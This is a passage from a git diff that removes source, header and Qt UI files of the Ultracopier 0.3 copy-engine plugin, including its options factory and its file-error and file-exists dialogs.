- optionsEngine->setOptionValue("checksumOnlyOnError",checksumOnlyOnError);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::osBuffer_toggled(bool osBuffer)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("osBuffer",osBuffer);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void Factory::osBufferLimited_toggled(bool osBufferLimited)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("osBufferLimited",osBufferLimited);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void Factory::osBufferLimit_editingFinished()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the spinbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("osBufferLimit",ui->osBufferLimit->value());
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::showFilterDialog()
-{
- if(optionsEngine==NULL)
- {
- QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"options not loaded");
- return;
- }
- filters->exec();
-}
-
-void Factory::sendNewFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"new filter");
- if(optionsEngine!=NULL)
- {
- optionsEngine->setOptionValue("includeStrings",includeStrings);
- optionsEngine->setOptionValue("includeOptions",includeOptions);
- optionsEngine->setOptionValue("excludeStrings",excludeStrings);
- optionsEngine->setOptionValue("excludeOptions",excludeOptions);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"new filter");
- if(optionsEngine!=NULL)
- {
- optionsEngine->setOptionValue("firstRenamingRule",firstRenamingRule);
- optionsEngine->setOptionValue("otherRenamingRule",otherRenamingRule);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::showRenamingRules()
-{
- if(optionsEngine==NULL)
- {
- QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"options not loaded");
- return;
- }
- renamingRules->exec();
-}
-
-void Factory::checksumIgnoreIfImpossible_toggled(bool checksumIgnoreIfImpossible)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("checksumIgnoreIfImpossible",checksumIgnoreIfImpossible);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/factory.h b/plugins/CopyEngine/Ultracopier-0.3/factory.h
deleted file mode 100644
index c5cfa91..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/factory.h
+++ /dev/null
@@ -1,95 +0,0 @@
-/** \file factory.h
-\brief Define the factory to create new instance
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QObject>
-#include <QList>
-#include <QStringList>
-#include <QFileInfo>
-#include <QProcess>
-
-#include "../../../interface/PluginInterface_CopyEngine.h"
-#include "StructEnumDefinition.h"
-#include "ui_options.h"
-#include "copyEngine.h"
-#include "Environment.h"
-#include "Filters.h"
-#include "RenamingRules.h"
-
-#ifndef FACTORY_H
-#define FACTORY_H
-
-namespace Ui {
- class options;
-}
-
-/** \brief to generate copy engine instance */
-class Factory : public PluginInterface_CopyEngineFactory
-{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_CopyEngineFactory)
-public:
- Factory();
- ~Factory();
- /// \brief to return the instance of the copy engine
- PluginInterface_CopyEngine * getInstance();
- /// \brief set the resources, to store options, to have facilityInterface
- void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion);
- //get mode allowed
- /// \brief define if can copy file, folder or both
- CopyType getCopyType();
- /// \brief to return which kind of transfer list operation is supported
- TransferListOperation getTransferListOperation();
- /// \brief define if can only copy, or copy and move
- bool canDoOnlyCopy();
- /// \brief to get the supported protocols for the source
- QStringList supportedProtocolsForTheSource();
- /// \brief to get the supported protocols for the destination
- QStringList supportedProtocolsForTheDestination();
- /// \brief to get the options of the copy engine
- QWidget * options();
-private:
- Ui::options *ui;
- QWidget* tempWidget;
- OptionInterface * optionsEngine;
- QStringList mountSysPoint;
- QProcess mount;
- QString StandardError;
- QString StandardOutput;
- bool errorFound;
- FacilityInterface * facilityEngine;
- Filters *filters;
- RenamingRules *renamingRules;
-private slots:
- void error(QProcess::ProcessError error);
- void finished(int exitCode, QProcess::ExitStatus exitStatus);
- void readyReadStandardError();
- void readyReadStandardOutput();
- void setDoRightTransfer(bool doRightTransfer);
- void setKeepDate(bool keepDate);
- void setBlockSize(int blockSize);
- void setAutoStart(bool autoStart);
- void showFilterDialog();
- void sendNewFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
- void doChecksum_toggled(bool);
- void checksumOnlyOnError_toggled(bool);
- void osBuffer_toggled(bool);
- void osBufferLimited_toggled(bool);
- void osBufferLimit_editingFinished();
- void checksumIgnoreIfImpossible_toggled(bool);
- void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void showRenamingRules();
-public slots:
- void resetOptions();
- void newLanguageLoaded();
-signals:
- void reloadLanguage();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
-};
-
-#endif // FACTORY_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.cpp b/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.cpp
deleted file mode 100644
index 0d9fa9a..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.cpp
+++ /dev/null
@@ -1,95 +0,0 @@
-#include "fileErrorDialog.h"
-#include "ui_fileErrorDialog.h"
-
-fileErrorDialog::fileErrorDialog(QWidget *parent,QFileInfo fileInfo,QString errorString,bool havePutAtTheEndButton) :
- QDialog(parent),
- ui(new Ui::fileErrorDialog)
-{
- ui->setupUi(this);
- action=FileError_Cancel;
- ui->label_error->setText(errorString);
- ui->label_content_file_name->setText(fileInfo.fileName());
- if(fileInfo.exists())
- {
- ui->label_content_size->setText(QString::number(fileInfo.size()));
- QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
- if(maxTime<fileInfo.lastModified())
- {
- ui->label_modified->setVisible(true);
- ui->label_content_modified->setVisible(true);
- ui->label_content_modified->setText(fileInfo.lastModified().toString());
- }
- else
- {
- ui->label_modified->setVisible(false);
- ui->label_content_modified->setVisible(false);
- }
- if(fileInfo.isDir())
- {
- this->setWindowTitle(tr("Error on folder"));
- ui->label_size->hide();
- ui->label_content_size->hide();
- ui->label_file_name->setText(tr("Folder name"));
- }
- }
- else
- {
- ui->label_size->hide();
- ui->label_content_size->hide();
- ui->label_modified->hide();
- ui->label_content_modified->hide();
- }
- if(!havePutAtTheEndButton)
- ui->PutToBottom->hide();
-}
-
-fileErrorDialog::~fileErrorDialog()
-{
- delete ui;
-}
-
-void fileErrorDialog::changeEvent(QEvent *e)
-{
- QWidget::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
- }
-}
-
-void fileErrorDialog::on_PutToBottom_clicked()
-{
- action=FileError_PutToEndOfTheList;
- this->close();
-}
-
-void fileErrorDialog::on_Retry_clicked()
-{
- action=FileError_Retry;
- this->close();
-}
-
-void fileErrorDialog::on_Skip_clicked()
-{
- action=FileError_Skip;
- this->close();
-}
-
-void fileErrorDialog::on_Cancel_clicked()
-{
- action=FileError_Cancel;
- this->close();
-}
-
-bool fileErrorDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-FileErrorAction fileErrorDialog::getAction()
-{
- return action;
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.h b/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.h
deleted file mode 100644
index b14fe87..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/** \file fileErrorDialog.h
-\brief Define the dialog error on the file
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QDialog>
-#include <QWidget>
-#include <QString>
-#include <QDateTime>
-#include <QFileInfo>
-#include "Environment.h"
-
-#ifndef FILEERRORDIALOG_H
-#define FILEERRORDIALOG_H
-
-namespace Ui {
- class fileErrorDialog;
-}
-
-/// \brief to show error dialog, and ask what do
-class fileErrorDialog : public QDialog
-{
- Q_OBJECT
-public:
- /// \brief create the object and pass all the informations to it
- explicit fileErrorDialog(QWidget *parent,QFileInfo fileInfo,QString errorString,bool havePutAtTheEndButton=true);
- ~fileErrorDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FileErrorAction getAction();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_PutToBottom_clicked();
- void on_Retry_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
-private:
- Ui::fileErrorDialog *ui;
- FileErrorAction action;
-};
-
-#endif // FILEERRORDIALOG_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.ui b/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.ui
deleted file mode 100644
index c5027e7..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileErrorDialog.ui
+++ /dev/null
@@ -1,220 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>fileErrorDialog</class>
- <widget class="QWidget" name="fileErrorDialog">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>478</width>
- <height>154</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string>Error on file</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout_2">
- <item>
- <widget class="QGroupBox" name="groupBox">
- <property name="title">
- <string>Error</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout">
- <item>
- <widget class="QLabel" name="label_error">
- <property name="text">
- <string/>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout">
- <item>
- <spacer name="horizontalSpacer_2">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QFormLayout" name="formLayout_2">
- <item row="0" column="0">
- <widget class="QLabel" name="label_size">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Size</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QLabel" name="label_content_size">
- <property name="text">
- <string notr="true">0 KiB</string>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_modified">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Modified</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QLabel" name="label_content_modified">
- <property name="text">
- <string notr="true">Today</string>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_file_name">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>File name</string>
- </property>
- </widget>
- </item>
- <item row="2" column="1">
- <widget class="QLabel" name="label_content_file_name">
- <property name="text">
- <string notr="true">source.txt</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="horizontalSpacer_3">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>40</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_4">
- <item>
- <widget class="QCheckBox" name="checkBoxAlways">
- <property name="text">
- <string>&amp;Always do this action</string>
- </property>
- </widget>
- </item>
- <item>
- <spacer name="horizontalSpacer">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QPushButton" name="PutToBottom">
- <property name="text">
- <string>Put to bottom</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Retry">
- <property name="text">
- <string>Retry</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Skip">
- <property name="text">
- <string>&amp;Skip</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Cancel">
- <property name="text">
- <string>&amp;Cancel</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- </layout>
- </widget>
- <resources/>
- <connections>
- <connection>
- <sender>checkBoxAlways</sender>
- <signal>toggled(bool)</signal>
- <receiver>Cancel</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>112</x>
- <y>131</y>
- </hint>
- <hint type="destinationlabel">
- <x>438</x>
- <y>142</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>checkBoxAlways</sender>
- <signal>toggled(bool)</signal>
- <receiver>Retry</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>155</x>
- <y>131</y>
- </hint>
- <hint type="destinationlabel">
- <x>309</x>
- <y>134</y>
- </hint>
- </hints>
- </connection>
- </connections>
-</ui>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.cpp b/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.cpp
deleted file mode 100644
index 191dd79..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.cpp
+++ /dev/null
@@ -1,189 +0,0 @@
-#include "fileExistsDialog.h"
-#include "ui_fileExistsDialog.h"
-
-#include <QDebug>
-
-fileExistsDialog::fileExistsDialog(QWidget *parent,QFileInfo source,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule) :
- QDialog(parent),
- ui(new Ui::fileExistsDialog)
-{
- ui->setupUi(this);
- action=FileExists_Cancel;
- destinationInfo=destination;
- oldName=destination.fileName();
- ui->lineEditNewName->setText(oldName);
- ui->lineEditNewName->setPlaceholderText(oldName);
- ui->Overwrite->addAction(ui->actionOverwrite_if_newer);
- ui->Overwrite->addAction(ui->actionOverwrite_if_not_same_modification_date);
- ui->label_content_source_size->setText(QString::number(source.size()));
- ui->label_content_source_modified->setText(source.lastModified().toString());
- ui->label_content_source_file_name->setText(source.fileName());
- ui->label_content_destination_size->setText(QString::number(destination.size()));
- ui->label_content_destination_modified->setText(destination.lastModified().toString());
- ui->label_content_destination_file_name->setText(destination.fileName());
- QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
- if(maxTime<source.lastModified())
- {
- ui->label_source_modified->setVisible(true);
- ui->label_content_source_modified->setVisible(true);
- ui->label_content_source_modified->setText(source.lastModified().toString());
- }
- else
- {
- ui->label_source_modified->setVisible(false);
- ui->label_content_source_modified->setVisible(false);
- }
- if(maxTime<destination.lastModified())
- {
- ui->label_destination_modified->setVisible(true);
- ui->label_content_destination_modified->setVisible(true);
- ui->label_content_destination_modified->setText(destination.lastModified().toString());
- }
- else
- {
- ui->label_destination_modified->setVisible(false);
- ui->label_content_destination_modified->setVisible(false);
- }
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
-
-fileExistsDialog::~fileExistsDialog()
-{
- delete ui;
-}
-
-void fileExistsDialog::changeEvent(QEvent *e)
-{
- QWidget::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
- }
-}
-
-QString fileExistsDialog::getNewName()
-{
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- qDebug() << "return the old name: "+oldName;
- else
- qDebug() << "return the new name: "+ui->lineEditNewName->text();
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- return oldName;
- else
- return ui->lineEditNewName->text();
-}
-
-void fileExistsDialog::on_SuggestNewName_clicked()
-{
- QFileInfo destinationInfo=this->destinationInfo;
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString destination;
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- ui->lineEditNewName->setText(newFileName+suffix);
-}
-
-void fileExistsDialog::on_Rename_clicked()
-{
- action=FileExists_Rename;
- this->close();
-}
-
-void fileExistsDialog::on_Overwrite_clicked()
-{
- action=FileExists_Overwrite;
- this->close();
-}
-
-void fileExistsDialog::on_Skip_clicked()
-{
- action=FileExists_Skip;
- this->close();
-}
-
-void fileExistsDialog::on_Cancel_clicked()
-{
- action=FileExists_Cancel;
- this->close();
-}
-
-void fileExistsDialog::on_actionOverwrite_if_newer_triggered()
-{
- action=FileExists_OverwriteIfNewer;
- this->close();
-}
-
-void fileExistsDialog::on_actionOverwrite_if_not_same_modification_date_triggered()
-{
- action=FileExists_OverwriteIfNotSameModificationDate;
- this->close();
-}
-
-FileExistsAction fileExistsDialog::getAction()
-{
- return action;
-}
-
-bool fileExistsDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-void fileExistsDialog::updateRenameButton()
-{
- ui->Rename->setEnabled(ui->checkBoxAlways->isChecked() || (oldName!=ui->lineEditNewName->text() && !ui->lineEditNewName->text().isEmpty()));
-}
-
-void fileExistsDialog::on_checkBoxAlways_toggled(bool checked)
-{
- Q_UNUSED(checked);
- updateRenameButton();
-}
-
-void fileExistsDialog::on_lineEditNewName_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateRenameButton();
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.h b/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.h
deleted file mode 100644
index 75af190..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.h
+++ /dev/null
@@ -1,58 +0,0 @@
-/** \file fileExistsDialog.h
-\brief Define the dialog when file already exists
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QDialog>
-#include <QWidget>
-#include <QString>
-#include <QDateTime>
-#include <QFileInfo>
-#include <QDir>
-#include "Environment.h"
-
-#ifndef FILEEXISTSDIALOG_H
-#define FILEEXISTSDIALOG_H
-
-namespace Ui {
- class fileExistsDialog;
-}
-
-/// \brief to show file exists dialog, and ask what do
-class fileExistsDialog : public QDialog
-{
- Q_OBJECT
-public:
- /// \brief create the object and pass all the informations to it
- explicit fileExistsDialog(QWidget *parent,QFileInfo source,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule);
- ~fileExistsDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FileExistsAction getAction();
- /// \brief return the new rename is case in manual renaming
- QString getNewName();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_SuggestNewName_clicked();
- void on_Rename_clicked();
- void on_Overwrite_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
- void on_actionOverwrite_if_newer_triggered();
- void on_actionOverwrite_if_not_same_modification_date_triggered();
- void updateRenameButton();
- void on_checkBoxAlways_toggled(bool checked);
- void on_lineEditNewName_textChanged(const QString &arg1);
-private:
- Ui::fileExistsDialog *ui;
- FileExistsAction action;
- QString oldName;
- QFileInfo destinationInfo;
- QString firstRenamingRule;
- QString otherRenamingRule;
-};
-
-#endif // FILEEXISTSDIALOG_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.ui b/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.ui
deleted file mode 100644
index a37945a..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileExistsDialog.ui
+++ /dev/null
@@ -1,367 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>fileExistsDialog</class>
- <widget class="QWidget" name="fileExistsDialog">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>469</width>
- <height>150</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string>The file exists</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout">
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout">
- <item>
- <widget class="QLabel" name="label">
- <property name="sizePolicy">
- <sizepolicy hsizetype="Minimum" vsizetype="Preferred">
- <horstretch>0</horstretch>
- <verstretch>0</verstretch>
- </sizepolicy>
- </property>
- <property name="font">
- <font>
- <weight>75</weight>
- <bold>true</bold>
- </font>
- </property>
- <property name="text">
- <string>Source</string>
- </property>
- <property name="alignment">
- <set>Qt::AlignCenter</set>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QLabel" name="label_2">
- <property name="font">
- <font>
- <weight>75</weight>
- <bold>true</bold>
- </font>
- </property>
- <property name="text">
- <string>Destination</string>
- </property>
- <property name="alignment">
- <set>Qt::AlignCenter</set>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_2">
- <item>
- <spacer name="horizontalSpacer_2">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QFormLayout" name="formLayout_2">
- <item row="0" column="0">
- <widget class="QLabel" name="label_source_size">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Size</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QLabel" name="label_content_source_size">
- <property name="text">
- <string notr="true">0 KiB</string>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_source_modified">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Modified</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QLabel" name="label_content_source_modified">
- <property name="text">
- <string notr="true">Today</string>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_source_file_name">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>File name</string>
- </property>
- </widget>
- </item>
- <item row="2" column="1">
- <widget class="QLabel" name="label_content_source_file_name">
- <property name="text">
- <string notr="true">source.txt</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="horizontalSpacer_4">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QFormLayout" name="formLayout">
- <property name="fieldGrowthPolicy">
- <enum>QFormLayout::ExpandingFieldsGrow</enum>
- </property>
- <item row="0" column="0">
- <widget class="QLabel" name="label_destination_size">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Size</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QLabel" name="label_content_destination_size">
- <property name="text">
- <string notr="true">0 KiB</string>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_destination_modified">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Modified</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QLabel" name="label_content_destination_modified">
- <property name="text">
- <string notr="true">Today</string>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_destination_file_name">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>File name</string>
- </property>
- </widget>
- </item>
- <item row="2" column="1">
- <widget class="QLabel" name="label_content_destination_file_name">
- <property name="text">
- <string notr="true">destination.txt</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="horizontalSpacer_3">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>40</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_3">
- <item>
- <widget class="QLineEdit" name="lineEditNewName">
- <property name="text">
- <string notr="true"/>
- </property>
- <property name="placeholderText">
- <string notr="true"/>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="SuggestNewName">
- <property name="text">
- <string>Suggest new &amp;name</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_4">
- <item>
- <widget class="QCheckBox" name="checkBoxAlways">
- <property name="text">
- <string>&amp;Always do this action</string>
- </property>
- </widget>
- </item>
- <item>
- <spacer name="horizontalSpacer">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QPushButton" name="Rename">
- <property name="text">
- <string>&amp;Rename</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QToolButton" name="Overwrite">
- <property name="text">
- <string>&amp;Overwrite</string>
- </property>
- <property name="popupMode">
- <enum>QToolButton::MenuButtonPopup</enum>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Skip">
- <property name="text">
- <string>&amp;Skip</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Cancel">
- <property name="text">
- <string>&amp;Cancel</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- </layout>
- <action name="actionOverwrite_if_newer">
- <property name="text">
- <string>Overwrite if newer</string>
- </property>
- </action>
- <action name="actionOverwrite_if_not_same_modification_date">
- <property name="text">
- <string>Overwrite if not same modification date</string>
- </property>
- </action>
- </widget>
- <resources/>
- <connections>
- <connection>
- <sender>checkBoxAlways</sender>
- <signal>toggled(bool)</signal>
- <receiver>Cancel</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>115</x>
- <y>130</y>
- </hint>
- <hint type="destinationlabel">
- <x>440</x>
- <y>129</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>checkBoxAlways</sender>
- <signal>toggled(bool)</signal>
- <receiver>lineEditNewName</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>62</x>
- <y>129</y>
- </hint>
- <hint type="destinationlabel">
- <x>108</x>
- <y>93</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>checkBoxAlways</sender>
- <signal>toggled(bool)</signal>
- <receiver>SuggestNewName</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>144</x>
- <y>138</y>
- </hint>
- <hint type="destinationlabel">
- <x>326</x>
- <y>98</y>
- </hint>
- </hints>
- </connection>
- </connections>
-</ui>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.cpp b/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.cpp
deleted file mode 100644
index f45b2ea..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.cpp
+++ /dev/null
@@ -1,156 +0,0 @@
-#include "fileIsSameDialog.h"
-#include "ui_fileIsSameDialog.h"
-
-#include <QDebug>
-
